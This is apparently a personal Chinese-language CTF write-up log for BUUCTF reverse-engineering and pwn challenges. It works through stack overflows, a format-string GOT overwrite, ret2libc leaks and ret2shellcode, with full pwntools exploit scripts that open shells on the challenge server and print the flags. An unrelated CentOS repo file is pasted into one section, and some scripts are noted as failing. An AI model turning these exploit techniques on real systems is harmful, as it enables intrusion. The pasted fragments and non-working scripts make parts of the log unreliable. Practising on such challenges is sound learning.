[Zer0pts2020]easy strcmp 2024.4.25
64位,ELF文件,无壳!
[buuoj-Zer0pts2020]easy strcmp - 今天吃大鸡腿 - 博客园 (cnblogs.com)
以为会是一个简单的比较,但是有点复杂!
[WUSTCTF2020]level4 2024.4.25
ELF文件,64位
数据结构,左子树和右子树
放着!
[羊城杯 2020]easyre 20224.4.25
64位,无壳
F5反汇编一下
大概知道了str1为我们所求的,这里的if条件语句里应该是有函数变换!
encode_one是一个base64编码!
encode_two是字符之间的变化!(这里的a3仔细看一下就知道encode_three里面的转换的字符串,a1为我们所要的字符串)
改一下名字
encode_three函数是凯撒加密,偏移量为3
就可以开始解密了!
倒着解密:首先凯撒解密为:BjYjM5Mjk7NzMR4dIVHs5NzJjY3MTEzM5VhMn3=zQ6NzhhMzhlOD
然后,进行函数变化!把这个分为四部分。
所以str1的顺序为R4dIVHs5NzJjYzQ6NzhhMzhlODBjYjM5Mjk7NzM3MTEzM5VhMn3=
然后base64解密就行了!
但是它不对
看了一下WP,发现他这个凯撒加密改了一下,要手搓脚本!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def decrypt_caesar (str , key=3 ): text = "" for i in str : if ord (i) >= 65 and ord (i) <= 90 : text += chr (65 + ((ord (i) - 65 ) - key) % 26 ) elif ord (i) >= 97 and ord (i) <= 122 : text += chr (97 + ((ord (i) - 97 ) - key) % 26 ) elif ord (i) >= 48 and ord (i) <= 57 : text += chr (48 + ((ord (i) - 48 ) - key) % 10 ) else : text+=i return text m1="EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG" m2=decrypt_caesar(m1) print (m2)
然后就可以正常解密了,
变化后为R1dIVHs2NzJjYzQ3NzhhMzhlODBjYjM2Mjk4NzM0MTEzM2VhMn0=
得到flag
GWHT{672cc4778a38e80cb362987341133ea2}
BUUCTF-pwn test_your_nc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 # CentOS-Media.repo # # This repo can be used with mounted DVD media, verify the mount point for # CentOS-6. You can use this repo and yum to install items directly off the # DVD ISO that we release. # # To use this repo, put in your DVD and use it with the other repos too: # yum --enablerepo=c6-media [command] # # or for ONLY the media repo, do this: # # yum --disablerepo=\* --enablerepo=c6-media [command] [c6-media] name=CentOS-$releasever - Media baseurl=file:///media/CentOS/ file:///media/cdrom/ file:///media/cdrecorder/ gpgcheck=1 enabled=0 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 # CentOS-Base.repo # # The mirror system uses the connecting IP address of the client and the # update status of each mirror to pick mirrors that are updated to and # geographically close to the client. You should use this for CentOS updates # unless you are manually picking other mirrors. # # If the mirrorlist= does not work for you, as a fall back you can try the # remarked out baseurl= line instead. # [base] name=CentOS-$releasever - Base baseurl=http://vault.centos.org/6.7/os/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 # released updates [updates] name=CentOS-$releasever - Updates baseurl=http://vault.centos.org/6.7/updates/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 # additional packages that may be useful [extras] name=CentOS-$releasever - Extras baseurl=http://vault.centos.org/6.7/extras/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 # additional packages that extend functionality of existing packages [centosplus] name=CentOS-$releasever - Plus baseurl=http://vault.centos.org/6.7/centosplus/$basearch/ gpgcheck=1 enabled=0 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 # contrib - packages by Centos Users [contrib] name=CentOS-$releasever - Contrib baseurl=http://vault.centos.org/6.7/contrib/$basearch/ gpgcheck=1 enabled=0 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
比较简单参考别人的wp
BUUCTF PWN—–第1题:test_your_nc_buuctf pwn第一题-CSDN博客
一、首先下好附件,用checksec检查一下保护机制。
可以看出是64位程序,并且NX是打开的。(堆栈不可执行)
二、静态分析,ida打开!main函数看看,直接调用了/bin/sh,所以根据题目提示直接nc就行.
这里了解一下system函数调用(/bin/sh)
收获: 简单的了解一下nc,就是一个起到监听作用
rip 2024.6.14
ida打开,64位,elf文件。
看见了gets和puts,猜测应该是一个栈溢出!!
(看的wp,他说别一味的F5反编译,有时候汇编也可以很容易看的很明白)
看一眼栈的结构
所有长度为:(0xf+8)
找一下溢出点,看一下字符串
发现其实就是假的,捣乱的
最后在fun函数里找到
其实就是一共后门函数,把它溢出到这就行。
p64(0x40118A)
所以payload=’b’*(0xf+8)+p64(0x40118A)
1 2 3 4 5 from pwn import *p = remote('node5.buuoj.cn' , 27032 ) payload=b'a' *(0xf +8 )+p64(0x40118A ) p.sendline(payload) p.interactive()
就可以打通了!!
得到flag
flag{3db71f1c-61e9-4343-a218-3770e313470f}
warmup_csaw_2016 2024.6.14
首先checksec查看一下保护机制
ida64位,打开看看,main函数看一看
看见gets,猜测应该就是栈溢出的题。
然后我们ida大概看看能不能找到system()函数
很简单就找到了这个函数,
看一下它的地址,然后找一下这个get函数的溢出条件!
找到V5的地址。加上它的返回值,就可以了
所以payload=’a’*(0x40+8)+p64(0x400611)
所以exp如下:
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' ,27947 ) payload=b'A' *0x48 +p64(0x40060D ) p.sendline(payload) p.interactive()
还是比较简单的!!
ciscn_2019_n_1 2024.6.16
首先看一下保护机制
有NX和64位架构,然后拖入ida静态看一下
很快就找找到了溢出的地方,简单栈溢出,gets函数,也看见了下面要溢出的system函数,这时候就要看一下他们的地址和gets的栈结构了!!
这时候就可以知道payload是是多少了。
payload=b’A’*0x38+p64(0x4006BE)
exp如下:
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 26977 ) payload=b'A' *0x38 +p64(0x4006BE ) p.sendline(payload) p.interactive()
还是一道比较简单的栈溢出。
这里有两种解题答案!
ciscn_2019_n_1 ——两种解法_0x41348000-CSDN博客
pwn1_sctf_2016 2024.6.16
查下保护机制
首先开启了NX(堆栈不可执行)保护,无法往堆栈上写东西。32位
ida静态分析一下!
main函数里看一眼没有,查看一下字符串!
看见了要溢出的地方,再找一下溢出点。
看一下它的地址
大概就是它了!
老规矩,找到栈的长度和返回地址的EIP
所以payload如下:
payload = ‘a’*(0x40)+p32(0x8048F0D)
exp如下:
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 27300 ) payload='a' *(0x40 )+p32(0x8048F0D ) p.sendline(payload) p.interactive()
但是看了一下,没有覆盖成功。
SO,上网找一下,于是乎
在ida中看
所以exp如下:
1 2 3 4 5 6 from pwn import *p=remote('node5.buuoj.cn' , 25269 ) payload='a' *(0x24 )+p32(0x8048F0D ) p.sendline(payload) p.interactive()
jarvisoj_level0 2024.6.17
简单检查一下
有NX,并且是64位
ida静态分析一下,查看一下字符串,找到system函数。
看一下它的地址,0x40059A
找到溢出点,read函数
老规矩,
payload=‘a’*0x88+ p64(0x40059A)
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 29633 ) payload='a' *0x88 + p64(0x40059A ) p.sendline(payload) p.interactive()
flag{df26c70f-d2d6-42cf-b9d8-017f492a0a4a}
[第五空间2019 决赛]PWN5 2024.6.17
例行检查
有NX和Stack两个,有canary应该是无法溢出的,32位
ida静态分析一下
找一下漏洞,转了一圈,发现是这个格式化字符串漏洞
首先找一下偏移量,发现偏移量为10
所以exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p = remote('node5.buuoj.cn' ,25676 ) process elf = ELF('./1111' ) atoi_got = elf.got['atoi' ] system_plt = elf.plt['system' ] payload=fmtstr_payload(10 ,{atoi_got:system_plt}) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
jarvisoj_level2 2024.6.17
保护机制看一下
NX开启,可能为栈溢出
ida静态分析一下
找到system函数,发现有两个
溢出点还是很好找的
看一下栈的结构
使用
payload=’a’*0x8c+p32(0x804845C)+p32(0x804824B)
exp如下:
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 25784 ) payload='a' *0x8c +p32(0x804845C )+p32(0x804A024 ) p.sendline(payload) p.interactive()
flag{771e70b6-2538-4648-a9b1-2b1c70e63f1f}
ciscn_2019_n_8 2024.7.11
日常检查
全开,运行一下,猜测是栈溢出
扔进ida,打开看一下
满足条件就行。直接输入14个17进去
1 2 3 4 5 6 from pwn import *p=remote('node5.buuoj.cn' ,27801 ) payload= p32(17 )*14 p.recvuntil('What' s your name?\n') p.sendline(payload) p.interactive()
flag{7989ff14-33aa-4d91-b06f-95b9f8934d78}
okok,解决
bjdctf_2020_babystack 2024.6.19
日常检查一下
有NX保护,应该是溢出的题。64位
找一下溢出点
溢出的地址如下:
猜一下能发生溢出漏洞的地方应该是read()函数。
看一下栈的结构
所以payload如下:
payload=’a’*0x18+p64()
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 28368 ) payload='a' *0x18 +p32(0x4006E6 ) p.sendline(payload) p.interactive()
但是不行,发现覆盖值没有覆盖到
所以是哪里出了问题。上网看看!
发现这里的要给nbytes赋个值
所以exp如下:
1 2 3 4 5 6 from pwn import *p=remote('node5.buuoj.cn' , 28368 ) Payload = b'a' *(0x18 ) + p64(0x4006E6 ) p.sendline("100" ) p.sendline(Payload) p.interactive()
得到flag
flag{a33e0553-59ec-4201-a029-3218cc9d480a}
ciscn_2019_c_1 2024.6.20
日常检查
64位,NX保护,可能是溢出题
ida64位打开,找了一圈,没有明显的system()函数,所以看看能不能找到溢出点,也是看见gets函数了
看一下它的汇编代码,找找栈的结构
但是我们现在找不到system的地方,也就是找不到要覆盖的跳转的地址。上网搜一手!!
所以这里只能让程序调用这些命令。
利用puts函数泄露libc版本 这一类题目的基本做法
1.利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使 用的libc的版本。
2.程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移 量 ,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
3.得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执行system(’/bin/sh‘)这样的命令
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *from LibcSearcher import *r=remote('node5.buuoj.cn' ,29142 ) elf=ELF('./ciscn_2019_c_1' ) main=0x400b28 pop_rdi=0x400c83 ret=0x4006b9 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] r.sendlineafter('choice!\n' ,'1' ) payload='\0' +'a' *(0x50 -1 +8 ) payload+=p64(pop_rdi) payload+=p64(puts_got) payload+=p64(puts_plt) payload+=p64(main) r.sendlineafter('encrypted\n' ,payload) r.recvline() r.recvline() puts_addr=u64(r.recvuntil('\n' )[:-1 ].ljust(8 ,'\0' )) libc=LibcSearcher('puts' ,puts_addr) offset=puts_addr-libc.dump('puts' ) binsh=offset+libc.dump('str_bin_sh' ) system=offset+libc.dump('system' ) r.sendlineafter('choice!\n' ,'1' ) payload='\0' +'a' *(0x50 -1 +8 ) payload+=p64(ret) payload+=p64(pop_rdi) payload+=p64(binsh) payload+=p64(system) r.sendlineafter('encrypted\n' ,payload) r.interactive()
放着!!!
okok 2024.7.11 回来看一眼 。看一眼多少位的,64位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' p = remote('node5.buuoj.cn' ,28619 ) elf = ELF('./1111' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] pop_rdi =0x0000000000400c83 ret_addr=0x00000000004006b9 payload = b'a' *(0x50 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendlineafter('Input your choice!\n' ,b'1' ) p.recvuntil('Input your Plaintext to be encrypted\n' ) p.sendline(payload) p.recvuntil('Ciphertext\n' ) p.recvuntil('\n' ) gets_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (gets_addr))
得到地址
看一下偏移
1 2 3 puts_addr=0x809c0 str_bin_sh=0x1b3e9a system_addr=0x4f440
完整如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' p = remote('node5.buuoj.cn' ,28619 ) elf = ELF('./1111' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] pop_rdi =0x0000000000400c83 ret_addr=0x00000000004006b9 payload = b'a' *(0x50 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendlineafter('Input your choice!\n' ,b'1' ) p.recvuntil('Input your Plaintext to be encrypted\n' ) p.sendline(payload) p.recvuntil('Ciphertext\n' ) p.recvuntil('\n' ) gets_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (gets_addr))puts_addr=0x809c0 str_bin_sh=0x1b3e9a system_addr=0x4f440 libcbase = gets_addr - puts_addr system_addr = libcbase + system_addr bin_sh = libcbase + str_bin_sh payload = flat([b'a' *(0x50 +8 ),ret_addr,pop_rdi,bin_sh,system_addr]) p.sendlineafter('Input your choice!\n' ,b'1' ) p.recvuntil('Input your Plaintext to be encrypted\n' ) p.sendline(payload) p.recvuntil('Ciphertext\n' ) p.recvuntil('\n' ) p.interactive()
解决
flag{6e19bf44-20dc-4a65-862b-a334d541327e}
get_started_3dsctf_2016 2024.6.22
日常检查
32位框架,有NX保护机制
ida静态分析一下
main函数一个明显的gets函数,栈溢出
再看看栈的结构,这里注意:这里有个细节,main中汇编代码没有push ebp,所以v4变量处写入0x38后就是返回地址 ,一般情况下是有的。
找一下溢出点
猜测应该是这个。这里就是利用后门函数绕过if语句,直接溢出到要执行的地方!
所以构造payload。payload如下:
payload=”a”*0x38+p32(0x80489B8)
exp:
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 28751 ) payload="a" *0x38 +p32(0x80489B8 ) p.sendline(payload) p.interactive()
但是我们发现我们得不到flag,猜测一下是没有flag.txt文件的过。
这里就采用别的方法。我们仔细看一下这个if判断语句,程序将a1和a2进行比较,所以我们可以同用get_flag函数覆盖,并将传递上这两个参数,就可以获得flag了
但是我们覆盖地址之后,有一个get_flag的返回地址,这里我们要换成exit函数,保持它的一个正常回显。因为只有正常的退出才能正确的回显flag。
所以就是’a’*0x38+ ‘ebp’ + get_flag + get_flag的返回地址 + 参数1 + 参数2
edp为无,get_flag返回的地址为exit()函数的地址
其返回地址为0x0804E6A0
在找一下get_flag的函数地址
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 26959 ) payload=b"a" *0x38 +p32(0x080489A0 )+p32(0x806D7D1 )+p32(0x308CD64F )+p32(0x195719D1 ) p.sendline(payload) p.interactive()
最后也是得到flag了。
flag{bfcc083b-bb00-4371-938f-042f348745b3}
jarvisoj_level2_x64 2024.6.23
日常检查
NX保护机制,64位架构,扔进ida静态分析一下
一进来就看见了system函数,找一下有没有溢出点
看一下上面的函数,
所以就可以就可以溢出了
payload=’a’*0x88+p64(0x4006b3)+p64(0x600A90)+p64(0x4004C0)
这里解释一下为什么是这样的?
64位程序函数调用时的操作和32位有所不同。32位程序函数调用时,依次将子函数的参数从右到左入栈,然后再压栈eip和ebp。64位程序如果子函数的参数数量<=6个,则会将参数从左到右依次存入rdi,rsi,rdx,rcx,r8,r9这6个寄存器中 ,如果还有参数,则像32位一样压栈。所以64位函数调用后,子函数运行时会先将参数从寄存器里pop出来,也就是会执行pop rdi; ret指令
所以说我们首先就是要传入buf的128(0x80)位加上rbp的8位
但是这里rdi;ret的地址我们是不知道的。所以
这里用工具查找一下
ROPgadget –binary ./1111 –only “pop|ret”
我们这里就得到了rdi;ret的地址为0x4006b3
之后的两个地址就比较好找了
exp如下:
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 26595 ) payload=b"a" *0x88 +p64(0x4006b3 )+p64(0x600A90 )+p64(0x4004C0 ) p.sendline(payload) p.interactive()
得到flag为
flag{511a6854-cb35-4ba6-9c90-c4394bf3b281}
[HarekazeCTF2019]baby_rop 2024.6.23
日常检查一下
64位,NX保护。ida静态分析一下
main函数中可以看见
猜测一下gadget应该是这个scanf函数,确定一下它的填充长度,长度为0x10+0x08(rbp)
找一下/bin/sh,看一下它的地址
这里要利用ROPgadgets工具找一下rdi的地址,
所以payload如下:
payload=’a’*0x18+p64(0x400683)+ p64(0x601048)+p64(0x400490)
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 29192 ) payload='a' *0x18 +p64(0x400683 )+ p64(0x601048 )+p64(0x400490 ) p.sendline(payload) p.interactive()
打通之后发现找不到flag,这里用命令找一下
这回就可以直接cat了
flag{033f1e50-2264-4f73-8a72-fa8ec46c0790}
others_shellcode 2024.6.24
日常检查
NX和PIE保护是开着的,32位
ida静态分析一下,发现没有什么我们以前见到的shell,system函数,这里补充小知识。
除了system(“/bin/sh”) 以外, 还有一种更好的方法, 就是系统调用中的 execve(“/bin/sh”, NULL, NULL)获得shell。我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用, 其中32位程序系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存。 可以用 int 80 汇编指令调用。64位程序系统调用号用 rax 储存, 第一 、 二 、 三参数分别在 rdi 、rsi 、rdx中储存。 可以用 syscall 汇编指令调用。
看了一眼,觉得shell应该藏在这个函数里。
其实看一了下wp,发现直接远程连接一下就可以cat了!
1 2 3 from pwn import *p=remote('node5.buuoj.cn' , 28011 ) p.interactive()
这里他们说,题目通过将/bin/sh写入ebx。随后调用int80(sys_execve)系统调用
我们看一下汇编代码。
发现这里调用了eax寄存器,也就是int 80 指令
看一下这个指令是干什么的eax=0FFFFFFFFh。eax=eax- 0FFFFFFF4h。所以说结果为11,正好对应着
这里直接对照Linux系统调用表看看
找到对应的为,就是sys_execve的系统调用
故此直接可以获得shell。
Linux调用表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336
[OGeek2019]babyrop 2024.6.24
日常检查
32位架构,NX保护,FULL RELRO为地址随机化。
这里看了别人的wp,猜测应该是一个libc泄露的题。so这题仔细看一下,首先要了解这个函数都在干什么?
sprintf()函数将生成的随机数a1加到了s[32]的数组中。这里题目有read函数,但是没有栈溢出的可能,读入buf之后,读取buf的长度,然后比较buf和s字符串的大小(比较长度为前v1个字符)。
此时如果strncmp()的结果不为0,则直接退出程序。因此我们第一个目的:使strncmp结果为0
sub_804871F()函数会将buf[7]作为参数传进来,将它的ASCII码比对,看到全程序中唯一一个存在栈溢出漏洞可能性的地方。但是必须满足a1的ASCII码值能达到栈溢出的大小。第二个目的:使a1的ASCII码值(sub_804871F()函数里的buf[7]的ASCII码值尽量大)。
所以解题如下:
first:让strncmp(buf, s, v1)为0
但是当buf与s数组完全相同时,strncmp结果会为0,但是s为系统生成的随机数,而buf是我们输入的数据,两者显然不可能相等。
另一种办法就是使v1等于0,这样strncmp的结果仍为0。
而v1是strlen函数读取buf的长度大小,使他为0就很简单了,标准的长度检测绕过,让buf数组的第一位为‘\x00’即可。 此时程序不会退出。
Second:让buf[7]的值尽可能大 前面讲到,要实现栈溢出,buf[7]元素的ASCII码值必须大于两百四十多才行。(因为要溢出)
ASCII码对照表:
https://blog.csdn.net/wz947324/article/details/80076496
可以看出,在扩展的ASCII码中才有我们需要的250+的ASCII码值,而这些字符里,如果用键盘打出来,比如“≥”的ascii码值为242,但是在vscode里面可以看到,他的ASCII码值并没有242,所以用到转义字符。
\为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。
奇怪的是,我把’\xff’和其他ASCII码大于128的符号放进vscode,只有用unsigned __int8转换出来的是他们的ASCII码值,而用unsigned int和int转换出来的都是负数,而ASCII码小于128的就不会出现这种情况。
我们还要注意到,有一个让buf[v5 - 1] = 0的数,应该考虑该语句会不会影响到buf[7]的值。v5为read函数返回的值,参考网上资料:read函数返回的是读取的字节数。
答案是包含。那么我上述代码v5的值为9,那么buf[v5-1]就未影响到buf[7]的值。否则我们可能就要构造
payload = ‘\x00’+‘\xff’*8
Finally:ROP!
write函数泄露libc版本 1 2 3 4 5 6 7 8 write_plt = elf.plt["write" ] write_got = elf.got["write" ] main_addr = 0x08048825 payload1 = b'a' *0xe7 +b'a' *4 +p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) r.sendline(payload1) write_addr = u32(r.recv(4 )) print (hex (write_addr))
注意事项 注意点:1.32位程序传参方式为栈传参,而64位程序则是优先通过寄存器传参,届时就需要用ROPgadget寻找gadgets来进行ROP了。
2.32位程序里main函数地址不能用elf.sym[“main”]
3.32位程序里调用函数后需要先压返回地址,再压参数。
调用函数栈的结构为:调用函数的地址->函数返回地址->参数n->参数n-1->…..->参数1
4.libc题目中提供了,为libc-2-23.so,应该可以直接用,我是把他加进了Libcsearcher里然后再用的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *p = remote("node3.buuoj.cn" ,27426 ) libc=ELF('libc-2.23.so' ) elf = ELF('./pwn1' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main = 0x08048825 payload1 = "\x00" + "\xff" *7 p.sendline(payload1) p.recvuntil("Correct\n" ) payload2 = "a" *0xe7 +'a' *4 payload2 += p32(write_plt) +p32(main)+ p32(1 )+p32(write_got)+p32(0x8 ) p.sendline(payload2) write_addr=u32(p.recv(4 )) offset = write_addr - libc.sym['write' ] system_addr=offset+libc.sym['system' ] bin_sh_addr=offset+libc.search('/bin/sh' ).next () p.sendline(payload1) p.recvuntil('Correct\n' ) payload3 = "a" *0xe7 + 'a' *4 payload3 += p32(system_addr) + "a" *4 + p32(bin_sh_addr) p.sendline(payload3) p.interactive()
放着!
来来来,2024.7.11,接着看一下
如题目一样要先绕过一下
如上思路一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'i386' context.os='linux' elf = ELF('./1111' ) p=remote('node5.buuoj.cn' ,27986 ) payload=b'\x00' +b'\xff' *7 p.sendline(payload) p.recvuntil('Correct\n' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr =0x8048825 payload1 = b"A" *(0xe7 +4 )+ p32(write_plt) + p32(main_addr) +p32(1 )+ p32(write_got)+p32(4 ) p.sendline(payload1) write_addr = u32(p.recv(4 )) print (hex (write_addr))libc = LibcSearcher("write" ,write_addr) libc_base = write_addr - libc.dump("write" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) p.sendline(payload) p.recvuntil('Correct\n' ) payload2 = flat([b'A' *(0xe7 +4 ),system_addr,main_addr,bin_sh]) p.sendline(payload2) p.interactive()
解决了
flag{d7610b4d-1471-4443-ba27-2c0f13dec95f}
ciscn_2019_n_5 2024.6.25
日常查壳
什么保护机制也没开,64位架构,扔进ida打开看看
找到溢出点,gets函数
确定一下溢出的长度为0x28 ,发现有没有system函数,猜测应该是要自己构建rop链来泄露libc,不会,上网看看
这里我们就是不知道要溢出到哪里?
所以我们是随便看看汇编指令,发现name参数存在全局变量bss段上,所以就溢出到着
构建exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p=remote('node5.buuoj.cn' , 26923 ) context(arch='amd64' ,os='linux' ) shellcode=asm(shellcraft.sh()) p.sendlineafter('tell me your name' ,shellcode) payload='a' *0x28 +p64(0x601080 ) p.sendlineafter('What do you want to say to me?' ,payload) p.interactive() from pwn import *r=remote('node5.buuoj.cn' ,26923 ) context(arch='amd64' ,os='linux' ) shellcode=asm(shellcraft.sh()) r.sendlineafter('tell me your name' ,shellcode) payload='a' *0x28 +p64(0x601080 ) r.sendlineafter('What do you want to say to me?' ,payload) r.interactive()
打通了,但是为什么查不到flag呢?
放着!
okok,2024.7.11,回头看一手这个
看了一下,感觉可以打ret2shellcode,name在bss段上
找一下偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *sh=remote("" ,) sh = process('./1111' ) shellcode = asm(shellcraft.sh()) sh.recvuntil('tell me your name' ) sh.sendline(shellcode) sh.recvuntil('What do you want to say to me?' ) name_addr=0x601080 payload=b'a' *(0x20 +8 )+p64(name_addr) sh.sendline(payload) sh.interactive()
那么就planB
就是一个先利用puts函数泄露libc版本然后获得shell的题,amd64位架构
偏移找一下,上图和下图是一样的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' p = remote('node5.buuoj.cn' ,29414 ) elf = ELF('./1111' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] pop_rdi =0x0000000000400713 ret_addr=0x00000000004004c9 p.recvuntil('tell me your name\n' ) p.sendline("hhhh" ) p.recvuntil('What do you want to say to me?\n' ) payload = b'a' *(0x20 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendline(payload) gets_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (gets_addr))
找一下libc版本
0x7f0207bc49c0
1 2 3 4 puts_addr=0x809c0 str_bin_sh=0x1b3e9a system_addr=0x4f440
